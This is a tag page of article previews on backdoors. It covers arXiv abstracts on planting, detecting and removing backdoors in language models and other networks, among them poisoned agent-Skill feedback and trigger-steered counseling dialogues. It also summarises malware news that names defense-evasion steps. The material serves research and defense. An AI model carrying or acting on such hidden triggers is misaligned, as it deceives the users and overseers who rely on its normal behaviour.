# backdoor Published articles for backdoor. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Backdoor Channels Hidden in Latent Space: Extending Cryptographic Undetectability to Modern Neural Networks DevFeed: [Backdoor Channels Hidden in Latent Space: Extending Cryptographic Undetectability to Modern Neural Networks]() Original publisher: [Read original article]() Author: Marte Eggen, Eirik Reiestad, Kristian Gj{\\o}steen, Inga Str\\"umke Published: 2026-11-09T05:00:00Z Content type: article Language: en Sources: [arXiv: Cryptography and Security](), [arXiv: Machine Learning]() Topics: [Security](), [Deep neural networks](), [Artificial Intelligence]() Tags: [backdoor](), [classification](), [cryptographic](), [cs-cr](), [cs-lg](), [datasets](), [network-architectures](), [neural-networks](), [post-training](), [transformer](), [vision]() ### AI overview The authors describe backdoors in ResNet and Vision Transformer models as learned latent directions that exploit the geometry of learned representations. Their approach reframes undetectability as distinguishing between two unknown distributions over model parameters, a hypothesis test they conjecture is practically intractable. On standard image classification datasets, they report consistently high attack success with negligible clean-accuracy loss. A suite of post-training defenses did not neutralize the backdoor without making the model unusable. These are abstract-level claims; the supplied excerpt gives no defense details or numerical results. ### Source excerpt arXiv:2605.13214v4 Announce Type: replace Abstract: Recent cryptographic results establish that neural networks can be backdoored such that no efficient algorithm can distinguish them from a clean model. These guarantees, however, have been confined to stylised architectures of limited practical relevance, leaving open whether comparable undetectability extends to modern, end-to-end trained networks. We construct such an attack mechanism for deep neural network architectures, closely aligned to the cryptographic notion of undetectability, by identifying backdoor channels as learned latent directions, and show that the question of undetectability reduces to a hypothesis test between two unknown distributions over model parameters, which we conjecture to be intractable in practice. The consequence of this reframing is significant: if exploitable channels within a network's latent space are statistically indistinguishable from naturally learned directions, an attacker need not introduce foreign structure but can instead exploit the geometry the network already possesses. Demonstrating the approach on ResNet and Vision Transformer architectures trained on standard image classification datasets, the attack achieves both consistently high success rates with negligible clean accuracy degradation, and resists a comprehensive suite of post-training defences, none of which neutralise the backdoor without rendering the model unusable. Our results establish that cryptographic backdoors need not be artefacts requiring exotic architectures or artificial constructions, but identifiable as latent properties inherent to the geometry of learned representations. ## When Feedback Becomes a Backdoor: Tracing Backdoor Skill Formation in Text-Space Skill Optimization DevFeed: [When Feedback Becomes a Backdoor: Tracing Backdoor Skill Formation in Text-Space Skill Optimization]() Original publisher: [Read original article]() Author: Louise Nayeong Koh, Yaechan Lee, Myeongjong Lee, Doyeon Kim, Juyoung Park, Seunggyu Kim, Inseo Kim, Chaerin Jung, Hyogon Ryu Published: 2026-11-09T05:00:00Z Content type: article Language: en Sources: [arXiv: Cryptography and Security]() Topics: [Agent Skills](), [Large Language Model]() Tags: [agent](), [backdoor](), [cs-ai](), [cs-cr](), [feedback](), [optimization](), [security]() ### AI overview Poisoned reference answers can create persistent trigger-conditioned rules in text-space Skill optimization without attacker access to the model, optimizer, or Skill file, but success depends on the task. In SearchQA, the natural attack retained an exact rule in all three seeds; each resulting Skill returned the payload on all 200 triggered questions and none of 200 clean questions. In seed 42, removing the rule eliminated activation, while clean accuracy was similar to benign SkillOpt (169/200 versus 171/200). In SpreadsheetBench, no natural run retained an exact rule across three seeds. Diagnostic interventions found two bottlenecks: the Analyst abstracted away required literals, and, after literal preservation was enabled, edit-budget ranking could discard exact edits before candidate construction. Thus exposure to poisoned references alone does not ensure that a backdoor rule is formed and retained. ### Source excerpt arXiv:2611.09348v1 Announce Type: new Abstract: Reference answers are a supervision channel in text-space Skill optimization, which produces reusable text artifacts called Skills that guide future agent behavior. Poisoning those answers can induce a persistent trigger-conditioned rule without giving the attacker access to the model, optimizer, or Skill file. We study this reference-feedback poisoning in SkillOpt by tracing an attacker-supplied trigger--payload mapping from reflection to held-out activation. In SearchQA, where the payload replaces a short answer, the natural attack retains an exact rule in all three seeds; each final Skill emits the payload on 200/200 triggered questions and 0/200 clean questions. In seed 42, removing the rule eliminates activation, and an in-run comparison shows similar clean accuracy to benign SkillOpt (169/200 versus 171/200). In SpreadsheetBench, where the payload requires an additional workbook edit, no natural run retains an exact rule across three seeds. Diagnostic interventions locate two successive bottlenecks: the Analyst abstracts away required literals, and, once literal preservation is enabled, edit-budget ranking can remove exact edits before candidate construction. Poisoned references can therefore create persistent backdoors, but exposure alone does not ensure that the induced rule is formed, selected, and retained. ## Fake security tools on GitHub push backdoors and infostealers DevFeed: [Fake security tools on GitHub push backdoors and infostealers]() Original publisher: [Read original article]() Author: Bill Toulas Published: 2026-11-06T18:46:52Z Content type: news Language: en Sources: [BleepingComputer]() Topics: [Security](), [GitHub](), [Windows](), [Remote Access Trojan](), [malware protection](), [Endpoint Security & XDR](), [malware scanners]() Tags: [antivirus](), [asyncrat](), [backdoor](), [backdoors](), [clipper](), [computer-help](), [computer-security](), [computers](), [cybersecurity](), [fake](), [github](), [info-stealer](), [information-stealer](), [infosec](), [infosec-computer-security](), [infostealers](), [linux](), [mac](), [malware](), [malware-removal](), [projects](), [security](), [security-tools](), [spyware](), [stealer](), [support](), [tech-support](), [technical-support](), [tools](), [virus](), [virus-removal](), [windows]() ### AI overview Dr. Web reports that a GitHub malware campaign has shifted from lures aimed at crypto and gaming users to fake security projects targeting cybersecurity professionals; more than 2,000 Windows systems are reported compromised. Malicious code is concealed in Visual Studio, Python, and Go projects, and some Visual Studio projects run it before compilation. PowerShell retrieves an encrypted download link for the Electron-based loader "Microsoft.exe," which persists, elevates privileges, weakens Windows protections, and injects later stages into legitimate processes. Its default Mode3 uses six evasion techniques, including restoring ntdll.dll, making direct system calls, and patching event tracing and script scanning; fallback Mode2 adds Defender exclusions and injects decrypted payloads into RegAsm.exe. The payloads include AsyncRAT, clipboard crypto-address replacement malware, and an infostealer that collects browser, VPN, FTP, gaming, and Discord data for Telegram exfiltration. The excerpt also reports attempts to remove security products and interfere with backups, plus an unfinished component that may restore the loader if deleted. ### Source excerpt Cybersecurity professionals are being targeted with infected security projects on GitHub that deploy a backdoor and information stealer malware. [...] ## Backdoor Purification for LoRA-Tuned LLMs via Null-Space Projection DevFeed: [Backdoor Purification for LoRA-Tuned LLMs via Null-Space Projection]() Original publisher: [Read original article]() Author: Jianwei Li, Jung-Eun Kim Published: 2026-11-06T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence](), [arXiv: Cryptography and Security](), [arXiv: Machine Learning]() Topics: [LLM security](), [lora](), [Large Language Model](), [Fine-tuning](), [LLM evaluation / benchmarking]() Tags: [asr](), [backdoor](), [cs-ai](), [cs-cr](), [cs-lg](), [fine-tuning](), [llms](), [lora](), [null](), [projection](), [space]() ### AI overview The paper proposes purifying backdoored LoRA-tuned LLMs without prior trigger knowledge, clean reference data, or post-hoc retraining of suspect parameters. It uses curated data and feature approximation to identify backdoor directions, then projects LoRA updates into orthogonal null spaces for each layer or head across input and output channels. The abstract reports reducing attack success rates from nearly 100% to below 10% while preserving base-model benign performance and adapter-learned downstream abilities. The evaluation is described as scaling from single-layer text classification to full-parameter generative LLM tasks. ### Source excerpt arXiv:2610.00685v2 Announce Type: replace-cross Abstract: With the rapid adoption of large language models (LLMs) and parameter-efficient fine-tuning (PEFT) methods, the risk of backdoor attacks has become more severe. Existing backdoor purification methods typically rely on at least one of the strong assumptions, such as prior knowledge of triggers, access to clean references, or aggressive retraining, and they often lack comprehensive evaluations. These constraints substantially limit their practical applicability. To overcome these challenges, our work proposes purifying LoRA-tuned LLMs without these assumptions and even without post-hoc retraining of the suspect parameters. Our objective is to significantly reduce the attack success rates (ASR) while preserving both (i) the base model's general capabilities and (ii) the new downstream skills learned through the adapter. Through a series of examinations, we progressively scale our approach from a single layer in a text classification setting to a full-parameter LLM in the generative task. Through careful data curation and feature approximation, we extract high-fidelity backdoor directions and, for each layer or head, construct orthogonal null spaces in both the input and output channels, onto which the LoRA updates are projected. Empirically, our null-space projection method reduces the ASR from nearly 100% to less than 10%, while preserving the base model's benign performance and the adapter's learned abilities during downstream task adaptation. ## Your Neighbors Know: Leveraging Local Neighborhoods for Backdoor Detection in Decentralized Learning DevFeed: [Your Neighbors Know: Leveraging Local Neighborhoods for Backdoor Detection in Decentralized Learning]() Original publisher: [Read original article]() Author: Sayan Biswas, Antoine Boutet, Davide Frey, Romaric Gaudel, Rachid Guerraoui, Maxime Jacovella, Anne-Marie Kermarrec, Dimitri Ler\\'ev\\'erend, Fran\\c{c}ois Ta\\"iani, Martijn de Vos Published: 2026-11-06T05:00:00Z Content type: article Language: en Sources: [arXiv: Machine Learning]() Topics: [Federated Learning](), [Adversarial attacks](), [threat detection](), [distributed-training]() Tags: [attack](), [attacks](), [backdoor](), [convergence](), [cs-lg](), [data](), [datasets](), [decentralized](), [defense](), [detection](), [dl](), [false-positive](), [framework](), [guarantees](), [learning](), [machine-learning](), [malicious](), [metric](), [model](), [settings](), [theoretical]() ### AI overview Argus detects backdoors in decentralized learning without a central coordinator or prior trigger knowledge. Each honest node analyzes received model updates for candidate triggers, shares them with neighbors, and uses structural similarity to distinguish consistent backdoor patterns from false alarms caused by heterogeneous data. Updates that fail this collaborative check are rejected, and persistently malicious senders may be evicted. The authors report theoretical convergence guarantees: filtering suspicious updates with high probability preserves a rate comparable to standard decentralized learning. On three datasets and against three baselines, Argus reduced attack success rates by up to 90 percentage points versus no defense while keeping utility within 5 points of an omniscient oracle; its advantage over baselines increased with data heterogeneity. ### Source excerpt arXiv:2605.19969v3 Announce Type: replace Abstract: Decentralized learning (DL) is an emerging machine learning paradigm where nodes collaboratively train models without a central server. However, the collaborative nature of DL makes it vulnerable to backdoor attacks, where a model is taught to behave normally on standard inputs while executing hidden, malicious actions when encountering data with specific triggers. Backdoor attacks in DL remain understudied and existing defenses often overlook DL constraints. We introduce Argus, a novel backdoor detection framework native to DL that requires neither a central coordinator nor prior knowledge of the trigger. In Argus, honest nodes locally analyze received model updates to identify potential backdoor triggers. Nodes then collectively share their triggers with their neighbors and use a structural similarity metric to separate true backdoors from false alarms induced by data heterogeneity. A key insight is that false positive triggers exhibit inconsistencies across participants while true positive ones show consistent patterns. Model updates that fail this collaborative test are rejected, and persistently malicious senders are eventually evicted. We provide the first theoretical convergence guarantees for a DL-specific backdoor detection mechanism, showing that filtering out suspicious model updates with high probability preserves a convergence rate comparable to standard DL. We implement and evaluate Argus on three standard datasets and against three state-of-the-art baselines. Across settings, Argus reduces attack success rates by up to 90 points compared to no defense, while preserving model utility within 5 percentage points of an omniscient oracle. Furthermore, the effectiveness of Argus compared to baselines improves as data heterogeneity increases. ## Interactive Backdoor Attacks in LLM-Based Proactive Dialogue Systems DevFeed: [Interactive Backdoor Attacks in LLM-Based Proactive Dialogue Systems]() Original publisher: [Read original article]() Author: Zhiyang Xia, Yuming Shang, Xi Zhang Published: 2026-11-06T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence]() Topics: [LLM security](), [Adversarial attacks](), [ai security](), [Fine-tuning]() Tags: [attacks](), [backdoor](), [cs-ai](), [cs-cl](), [defense](), [experiments](), [fine-tuning](), [framework](), [guidance](), [interaction](), [interactive](), [llm](), [models](), [objectives](), [open](), [policy](), [post](), [proactive](), [prompt](), [steering](), [systems](), [utility]() ### AI overview Poisoned fine-tuning dialogues can implant a trigger-conditioned bias that steers an LLM's later multi-turn dialogue toward an attacker's objective, activated by ordinary user utterances without deployment-time prompt changes or further attacker action. The framework covers an immediate Direct Attack, a Constrained Progressive Attack along a predefined trajectory, and an Unconstrained Progressive Attack across open-ended user continuations. In psychological counseling experiments using two model backbones and two dialogue datasets, all three reportedly achieved their objectives while largely preserving normal utility. The tested training-data filters retained nearly all poisoned dialogues, and three post-admission defense baselines left substantial attack-specific success. ### Source excerpt arXiv:2611.06969v1 Announce Type: cross Abstract: LLM-based proactive dialogue systems provide goal-directed support through sustained interaction. Fine-tuning their underlying models on externally supplied dialogue data introduces backdoor risks. Existing LLM backdoor studies primarily focus on eliciting an attacker-specified response upon trigger activation. We present an interactive backdoor attack framework that uses training-data poisoning to steer post-trigger, multi-turn interactions toward an attacker-specified objective. Poisoned fine-tuning dialogues implant a trigger-conditioned guidance-policy bias that ordinary user utterances can activate, without deployment-time prompt modification or further attacker intervention. Specifically, we instantiate three complementary attacks under progressively expanded post-trigger interaction settings: (1) Direct Attack, which targets an immediate response deviation upon trigger activation, retaining the conventional trigger--response setting; (2) Constrained Progressive Attack, which progressively advances the attack objective along a predefined multi-turn trajectory; and (3) Unconstrained Progressive Attack, which extends target-directed steering to open-ended interactions with varied user continuations. Using psychological counseling as a representative setting, experiments on two LLM backbones and two dialogue datasets show that all three attacks effectively achieve their objectives under their respective interaction settings while largely preserving normal utility. Separate defense evaluations show that the tested training-data filters retain nearly all poisoned dialogues, while three post-admission baselines leave substantial residual attack-specific success. ## Backdoor Containment via Expert Quarantine and Shutdown in LLMs DevFeed: [Backdoor Containment via Expert Quarantine and Shutdown in LLMs]() Original publisher: [Read original article]() Author: Jianwei Li, Min-Seon Kim, Jung-Eun Kim Published: 2026-11-06T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence](), [arXiv: Cryptography and Security](), [arXiv: Machine Learning]() Topics: [LLM security](), [Large Language Model](), [Mixture of Experts (MoE)](), [lora]() Tags: [backdoor](), [channel](), [cs-ai](), [cs-cr](), [cs-lg](), [dataset](), [deployment](), [generative](), [language-model](), [language-models](), [large-language-models-llms](), [llms](), [lora](), [mitigation](), [model](), [moe](), [route](), [routers](), [routing](), [shutdown](), [trigger](), [triggers](), [utility]() ### AI overview Quarantined Expert Shutdown (QES) contains LLM backdoors by routing trigger-conditioned behavior into a designated expert during training, then disabling that expert at deployment by zeroing its routing weight. QES adds routed expert-specific LoRA branches and lightweight routers to a Transformer model and uses auxiliary routing objectives to preserve benign capability in other components. This deployment step requires no trigger screening or further weight updates. Across two tasks, three attacks, and four model families, the reported attack success rate fell from 100% to 0-10% in most settings; downstream utility was often preserved or only modestly affected. ### Source excerpt arXiv:2610.00663v2 Announce Type: replace-cross Abstract: Backdoored large language models (LLMs) can behave normally on benign inputs while producing attacker-specified outputs under hidden triggers. Existing defenses span four stages---prior-training, in-training, post-training, and inference-time---and share one of two underlying strategies: either suppress backdoor learning (by filtering poisoned data or interrupting its acquisition during optimization) or learn, then purify (by repairing model weights or gating inputs after a fully backdoored model has formed). We propose a third strategy, learn, but channel: allow backdoor formation during training but route it into a designated, quarantined component that can be disabled at deployment. To this end, we propose Quarantined Expert Shutdown QES, a computationally efficient containment strategy built in a regularization-steered MoE-like setting. Specifically, given a poisoned dataset, QES augments a Transformer-based language model with routed expert-specific LoRA branches and lightweight routers, and uses auxiliary routing objectives to attract trigger-conditioned behavior into a designated expert while preserving benign capability elsewhere. At deployment, mitigation reduces to a single constant-time operation: zeroing the quarantined expert's routing weight, without trigger screening or further updating model weights. Empirically, our methods reduce the attack success rate (ASR) from 100% to 0-10% on most settings across two tasks, three attacks, and four model families, while downstream utility is often preserved or only modestly affected. These results establish learn, but channel as a previously unexplored regime for backdoor containment in generative LLMs. ## A Bag of Tricks for Defending Deep Learning-based Face Recognition Pipelines against Backdoor Attacks DevFeed: [A Bag of Tricks for Defending Deep Learning-based Face Recognition Pipelines against Backdoor Attacks]() Original publisher: [Read original article]() Author: Quentin Le Roux, Marti Jimenez, Yannick Teglia, Philippe Loubet Moundi Published: 2026-11-05T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence](), [arXiv: Cryptography and Security]() Topics: [Adversarial attacks](), [ai security](), [model-deployment]() Tags: [backdoor](), [cs-ai](), [cs-cr](), [cs-cv](), [cs-lg](), [data](), [deep-learning](), [defense](), [deployment](), [face-recognition](), [hardening](), [inference](), [pipelines]() ### AI overview The report addresses backdoor attacks caused by poisoned training data from potentially compromised third parties, even when face recognition models are trained in-house. It presents three practical defenses for multi-stage face recognition systems: one detects poisoned identities during training or before deployment, while two filter suspicious inputs at inference time before a response reaches a potential attacker. The abstract says the methods' motivations, algorithms, and computational impact are evaluated on realistic face recognition workloads, but does not identify the techniques or report results. ### Source excerpt arXiv:2611.06412v1 Announce Type: cross Abstract: The protection of mature, multi-stage Face Recognition Systems is crucial to system providers. This technical report targets the threat model most relevant to industry practitioners: although model training is performed in-house, training data is sourced from possibly-compromised third parties. Given this setting, we present three practical defense "tricks" against data poisoning-based backdoor attacks. The first operates at training-time, detecting poisoned identities during training or prior to a pipeline's deployment. The last two operate at inference-time, filtering suspicious inputs before an answer can be sent back to a potential attacker. Each method is presented with their motivation, algorithms and computational impact, and evaluated on realistic face recognition workloads. Our goal is to provide actionable hardening techniques to system providers. ## Backdoor Attacks under Lossy Compression: From Failure to Reactivation and Adaptation DevFeed: [Backdoor Attacks under Lossy Compression: From Failure to Reactivation and Adaptation]() Original publisher: [Read original article]() Author: Qian Li, Yunuo Chen, Yuntian Chen Published: 2026-11-05T05:00:00Z Content type: article Language: en Sources: [arXiv: Cryptography and Security]() Topics: [Adversarial attacks](), [Compression](), [ai security](), [Machine learning]() Tags: [attacks](), [backdoor](), [compression](), [cs-cr](), [cs-cv](), [deep-learning](), [experiments](), [failure](), [image-compression](), [jpeg](), [masks](), [roi](), [trigger]() ### AI overview Lossy compression can erase triggers embedded in poisoned RGB images, causing backdoor injection to fail after storage or transmission. The paper proposes two region-of-interest coding strategies to preserve trigger information in bitstreams so triggers can take effect after decompression: Universal Attack Reactivation uses sample-specific ROI masks for learned image compression (LIC), while Compression-Adapted Attack uses customized masks and is designed for both traditional codecs and LIC. The abstract reports that experiments found both strategies effective; it provides no specific results or limitations. ### Source excerpt arXiv:2603.13864v3 Announce Type: replace Abstract: Real-world backdoor attacks often require poisoned datasets to be stored and transmitted before they are used to compromise deep learning systems. In the era of big data, however, the inevitable use of lossy compression poses a fundamental challenge to invisible backdoor attacks. We observe that triggers embedded in RGB images can become ineffective once the images are lossily compressed into binary bitstreams, such as JPEG files, for storage and transmission. Consequently, poisoned data may lose their malicious functionality after compression, causing backdoor injection to fail. Prior compression-based attacks typically exploit compression artifacts as certain triggers to distinguish poisoned RGB samples from uncompressed benign ones, rather than addressing whether malicious information can survive a shared lossy storage-and-transmission pipeline. In this paper, we highlight the necessity of explicitly accounting for lossy compression in backdoor attacks. This requires attackers to ensure that transmitted binary bitstreams preserve malicious trigger information, such that effective triggers can be induced after decompression. Building on the region-of-interest (ROI) coding mechanism in image compression, we propose two poisoning strategies tailored to inevitable lossy compression. First, we introduce Universal Attack Reactivation, a general method that uses sample-specific ROI masks to reactivate trigger information in bitstreams for learned image compression (LIC). Second, we present Compression-Adapted Attack, a new attack strategy that employs customized ROI masks to encode trigger information into bitstreams and applies to both traditional codecs and LIC. Extensive experiments demonstrate the effectiveness of both strategies. ## DUP: Detection-guided Unlearning for Backdoor Purification in Language Models DevFeed: [DUP: Detection-guided Unlearning for Backdoor Purification in Language Models]() Original publisher: [Read original article]() Author: Man Hu, Yahui Ding, Yatao Yang, Liangyu Chen, Yanhao Jia, Shuai Zhao Published: 2026-11-05T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence](), [arXiv: Cryptography and Security]() Topics: [LLM security](), [Post-training optimization](), [threat detection](), [LLM Techniques]() Tags: [abstract](), [analysis](), [architectures](), [arxiv](), [attack](), [attacks](), [backdoor](), [based](), [behavior](), [challenges](), [class](), [code](), [critical](), [cs-ai](), [cs-cl](), [cs-cr](), [defense](), [detection](), [distillation](), [effectively](), [language](), [language-models](), [models]() ### AI overview DUP combines backdoor detection with parameter-efficient unlearning for language models, aiming to avoid full retraining and the need for an external clean model. Its detector identifies poisoned inputs by combining class-agnostic distances with inter-layer transitions in a weighted scheme. For purification, knowledge distillation guides a student model to increase its output divergence from the teacher on detected poisoned samples, with the goal of removing backdoor behavior. The abstract reports experiments across diverse attacks and language model architectures, claiming improved detection accuracy and purification efficacy; it provides no specific metrics in the supplied text. ### Source excerpt arXiv:2508.01647v2 Announce Type: replace-cross Abstract: As backdoor attacks become more stealthy and robust, they reveal critical weaknesses in current defense strategies: detection methods often rely on coarse-grained feature statistics, and purification methods typically require full retraining or additional clean models. To address these challenges, we propose DUP (Detection-guided Unlearning for Purification), a unified framework that integrates backdoor detection with unlearning-based purification. The detector captures feature-level anomalies by jointly leveraging class-agnostic distances and inter-layer transitions. These deviations are integrated through a weighted scheme to identify poisoned inputs, enabling more fine-grained analysis. Based on the detection results, we purify the model through a parameter-efficient unlearning mechanism that avoids full retraining and does not require any external clean model. Specifically, we innovatively repurpose knowledge distillation to guide the student model toward increasing its output divergence from the teacher on detected poisoned samples, effectively forcing it to unlearn the backdoor behavior. Extensive experiments across diverse attack methods and language model architectures demonstrate that DUP achieves superior defense performance in detection accuracy and purification efficacy. Our code is available at https://github.com/ManHu2025/DUP. ## Zyxel fixes zero-day exploited to hack nearly 1,000 network switches DevFeed: [Zyxel fixes zero-day exploited to hack nearly 1,000 network switches]() Original publisher: [Read original article]() Author: Lawrence Abrams Published: 2026-11-04T20:58:19Z Content type: news Language: en Sources: [BleepingComputer]() Topics: [known exploitable vulnerabilities](), [network device monitoring]() Tags: [2026](), [acronis](), [actor](), [attacks](), [authentication](), [backdoor](), [binarly](), [compromise](), [computer-help](), [computer-security](), [computers](), [configuration](), [credentials](), [cve-2026-107441](), [cve-2026-7273](), [devices](), [exploited](), [files](), [gs1900](), [infosec](), [infosec-computer-security](), [linux](), [mac](), [malware](), [malware-removal](), [network-switches](), [patched](), [router](), [security](), [spyware](), [support](), [tech-support](), [technical-support](), [virus](), [virus-removal](), [vulnerability](), [windows](), [zero-day](), [zero-day-vulnerability](), [zyxel]() ### AI overview Attackers compromised 996 Zyxel GS1900 switches across 48 countries by exploiting CVE-2026-107441, an unauthenticated command-execution flaw in the web management interface. The exploit bypassed protections in Zyxel's June update for the separate CVE-2026-7273 flaw by corrupting a parameter counter before validation, enabling a memory overwrite. It then ran commands and collected configurations, hashed root credentials, and network information. Zyxel's October 22 firmware updates limit HTTP parameter sizes and validate the parameter count before copying data into memory. The recovered exploit worked on all ten firmware releases patched for CVE-2026-7273, but researchers say it remains unclear whether it was deliberately designed to bypass those updates or exposed a related weakness they missed. Administrators of affected GS1900 models should install the latest firmware. ### Source excerpt Zyxel has patched a zero-day vulnerability in its GS1900 series network switches that hackers exploited to compromise nearly 1,000 devices worldwide and steal configuration files and credentials. [...] ## Cheap Android TV boxes came with malware, and Google says the manufacturer was behind it DevFeed: [Cheap Android TV boxes came with malware, and Google says the manufacturer was behind it]() Original publisher: [Read original article]() Author: Kishalaya Kundu Published: 2026-11-04T19:06:00Z Content type: news Language: en Sources: [TechSpot]() Topics: [Malware](), [IoT botnets](), [Android Security](), [Google](), [google play protect](), [Remote Access Trojan]() Tags: [ad-fraud](), [android](), [android-tv](), [backdoor](), [botnet](), [cybersecurity](), [digital-signage](), [dropper](), [electronics](), [exploited](), [firmware](), [fraud](), [global](), [google](), [international](), [japan](), [karaoke](), [malware](), [mecool](), [security](), [set-top-box](), [tv](), [videostrong]() ### AI overview Google says it severed ties with Videostrong after XCPE, a backdoor reportedly built into firmware across more than 1.3 million devices, was linked to a global botnet. Synthient identified at least 182 affected models, including Android TV boxes and other Videostrong products. The malware reportedly exploited a firmware vulnerability during first boot, disabled Play Protect, and evolved from a simple dropper into a modular system designed to evade detection and support criminal modules. Operators used infected devices for ad fraud, data theft, remote access, and residential proxy traffic. Google worked with law enforcement and security firms to disrupt command-and-control domains, banned Videostrong and affiliates from making certified Android devices or supplying software to Android partners, and says it is improving firmware integrity checks. Device counts vary: Google estimates about 1.3 million, while TrendMicro counted 1,472,554. ### Source excerpt The backdoor was discovered in the firmware of multiple Videostrong devices, such as the Mecool KTI, as well as several white-label Android TV boxes. Seattle-based cybersecurity and fraud intelligence research group Synthient, which worked with Google to analyze the malware, claims it identified at least 182 different device models that... Read Entire Article ## China-Aligned Hackers Hijack Sogou Input Method DNS Requests to Deploy DarkVigil Backdoor DevFeed: [China-Aligned Hackers Hijack Sogou Input Method DNS Requests to Deploy DarkVigil Backdoor]() Original publisher: [Read original article]() Author: The Hacker News Published: 2026-11-04T11:24:31Z Content type: news Language: en Sources: [Cyber Newsroom]() Topics: [Domain Name System (DNS)](), [DLL hijacking]() Tags: [2021](), [2026](), [actor](), [backdoor](), [china](), [communications](), [cve](), [cve-2026-120422](), [cyber-espionage](), [deploy](), [dns](), [dns-hijacking](), [domain](), [domain-name](), [domain-name-system](), [hackers](), [hijack](), [hijacking](), [http](), [input](), [malware](), [name](), [nation-state](), [supply-chain](), [vulnerability]() ### AI overview ESET attributed a surveillance campaign active from July 2026 to SlippyNunchucks, which hijacked DNS requests from Windows versions of Sogou Input Method to deploy the DarkVigil backdoor. SGTool.exe normally fetches a vocabulary promotion configuration over HTTP; tampered DNS redirected that request to staging servers, whose malicious configuration instructed the app to download a legitimate Adobe executable and a rogue DLL containing DarkVigil, then launch it through DLL sideloading. DarkVigil uses DMTP for command and control and can orchestrate plugins for persistence or data collection. ESET reported targeting in six countries and said it found no tactical overlap with Mustang Panda activity. Tencent fixed the issue, CVE-2026-120422, in version 16.10 on October 29, 2026, by moving the affected requests to HTTPS. ### Source excerpt China-Aligned Hackers Hijack Sogou Input Method DNS Requests to Deploy DarkVigil Backdoor A China-aligned threat actor known as SlippyNunchucks has been attributed to a Domain Name System (DNS) hijacking operation abusing insecure HTTP communications in Windows versions of Sogou Input Meth ... Read more Published Date: Nov 04, 2026 (5 hours, 37 minutes ago) Vulnerabilities has been mentioned in this article. CVE-2026-120422 CVE-2026-51990 CVE-2021-38003 ## LoRA-Patch: Defending Against Backdoored LoRA Adapters via Directional Steering DevFeed: [LoRA-Patch: Defending Against Backdoored LoRA Adapters via Directional Steering]() Original publisher: [Read original article]() Author: Shengyan Huo, Peihai Jiang, Xixiang Lyu, Yige Li Published: 2026-11-04T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence](), [arXiv: Cryptography and Security]() Topics: [lora](), [malware protection](), [Open Source Models & Datasets]() Tags: [adapters](), [backdoor](), [computer-science](), [cs-ai](), [cs-cr](), [defense](), [lora](), [model-weights](), [patch](), [security](), [steering]() ### AI overview LoRA-Patch aims to suppress trigger-activated backdoors in third-party LoRA adapters while keeping the trusted base model frozen. It treats backdoor injection as a distortion in the adapter's direction relative to the base model, then realigns directions layer by layer to reduce the hidden behavior. The abstract reports tests across five backdoor attacks and three models, with mitigation that outperformed existing baselines while preserving benign task performance. Patch construction took under 20 seconds across the evaluated models and adapters. These results are limited to the reported evaluation. ### Source excerpt arXiv:2611.03752v1 Announce Type: new Abstract: Third-party LoRA adapters introduce serious backdoor risks: malicious adapters can maintain normal task performance while embedding hidden, trigger-activated behaviors, making them difficult to detect through standard utility evaluations. Existing removal-based defenses typically sanitize backdoored models by updating, pruning, distilling, or mixing model parameters. However, these approaches are misaligned with adapter-based deployment, where the trusted base model is expected to remain frozen. In this work, we propose LoRA-Patch, a lightweight backdoor defense tailored to LoRA adapters. Our key insight is that backdoor injection distorts the directional geometry of a poisoned adapter relative to its trusted base model. Building on this insight, LoRA-Patch suppresses trigger-activated behaviors by realigning adapter directions through layer-wise steering, without modifying the base model weights. Extensive experiments across five backdoor attacks and three models show that LoRA-Patch effectively mitigates trigger-activated backdoors, outperforming existing baselines while preserving benign task performance. Moreover, LoRA-Patch is computationally efficient, constructing patches within 20 seconds across all evaluated models and adapters. Our code is publicly available at https://github.com/FOXVEDA/LoRA-Patch. ## Understanding Backdoor Attacks in Scene Graph Generation via Global Context Pathway DevFeed: [Understanding Backdoor Attacks in Scene Graph Generation via Global Context Pathway]() Original publisher: [Read original article]() Author: Xiaoguang Chang, Tuo Chen, Chengze Jiang, Teng Wang, Changyin Sun Published: 2026-11-04T05:00:00Z Content type: article Language: en Sources: [arXiv: Artificial Intelligence]() Topics: [Adversarial attacks](), [Machine Perception]() Tags: [attacks](), [backdoor](), [cs-ai](), [cs-cv](), [global-context](), [graph]() ### AI overview The study finds that explicit global context pathways can carry training-time backdoors in scene graph generation (SGG), enabling selective corruption of relations involving a designated object category. On Visual Genome, the attack was effective across evaluated open-vocabulary and closed-set models. Replacing poisoned global context with clean context at inference reduced attack success by 100% for the OvSGTR family and 97% for RelationFormer. In OvSGTR, training-time efforts to suppress trigger signals in that pathway either reduced attack success or substantially degraded utility. The findings indicate a potential backdoor risk in SGG architectures with explicit global context; the supplied abstract does not describe the attack method or the three-axis evaluation protocol in detail. ### Source excerpt arXiv:2611.04379v1 Announce Type: cross Abstract: Scene Graph Generation (SGG) produces structured scene representations, yet its training-time backdoor risk remains unexplored. Unlike classification, SGG exposes a pair-level attack surface that enables selective corruption of relations involving a designated object category. However, because SGG largely relies on localized evidence, globally placed triggers may face difficulty in manipulating such predictions. Recent SGG architectures increasingly incorporate global context to improve scene modeling, which may in turn facilitate such attacks. In this paper, we systematically study this backdoor risk and investigate the role of the global context pathway in backdoor behavior. Concretely, we first instantiate this attack with an effective method, and propose a three-axis evaluation protocol to characterize backdoor behavior. Experiments on Visual Genome with representative open-vocabulary and closed-set SGG models demonstrate the effectiveness of the attack. Mechanistic analyses reveal that the explicit global context pathway serves as a major carrier of the backdoor effect across the evaluated SGG models. In particular, replacing the poisoned global context representation with its clean counterpart during inference sharply suppresses the attack, yielding 100% and 97% reductions in attack success for the OvSGTR family and RelationFormer, respectively. Moreover, training-time interventions in the OvSGTR family show that suppressing trigger signals in this pathway either reduces attack success or substantially degrades utility. Together, these findings suggest that explicit global context designs may pose a backdoor risk in SGG architectures. ## 1.3 million Google-certified Android TV boxes found to have malware DevFeed: [1.3 million Google-certified Android TV boxes found to have malware]() Original publisher: [Read original article]() Author: Jean-Luc Aufranc (CNXSoft) Published: 2026-11-04T03:52:05Z Content type: news Language: en Sources: [CNX Software - Embedded Systems News]() Topics: [Malware](), [IoT botnets](), [Android Security](), [Android](), [Embedded Systems]() Tags: 